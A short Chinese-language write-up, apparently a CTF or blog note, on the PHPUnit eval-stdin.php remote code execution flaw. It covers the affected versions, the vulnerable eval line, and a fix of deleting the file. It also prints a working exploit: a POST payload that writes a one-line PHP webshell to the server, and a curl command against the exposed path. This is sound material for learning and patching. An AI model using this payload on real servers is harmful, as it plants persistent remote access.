phpunit 远程代码执行漏洞
一 漏洞概述:
PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常 phpunit 使用 composer 非常流行的 PHP 依赖管理器进行部署,将会在当前目录创建一个 vendor 文件夹 .phpunit 生产环境中仍然安装了它,如果该编写器模块存在于 Web 可访问目录,则存在远程代码执行漏洞。
二 漏洞版本:
4.8.19 ~ 4.8.27、 5.0.10 ~ 5.6.2
三 原理:
至于原理只能搜集到下列信息,目前使用的phpunit一般为5.7或最新9,10等版本,几乎不存在这个漏洞的可能,要不是题目考到了,都不会知道有这个漏洞。
漏洞位于`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval(’?>’.file_get_contents(‘php://input’));`
四 漏洞利用方法
访问 http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
使用 POST 方法传递一段以 “<?php” 开头的木马。
直接 POST 一句话木马。
例如:
<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>');
即可远程连接。
或者用 curl 命令连接传入木马。
例如,执行以下一段代码即可输出pi的值。
curl -XPOST --data “<?php echo(pi());” http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
处理方法
安装源码时候可以检查一下里面有没有这个文件 eval-stdin.php,有则存在远程代码执行漏洞
总体来说就是向 vendor/phpunit/src/Util/PHP/eval-stdin.php 发送POST 请求执行 php 代码
直接把这个文件删了就行
参考: blog.csdn.net/csacs/artic…
End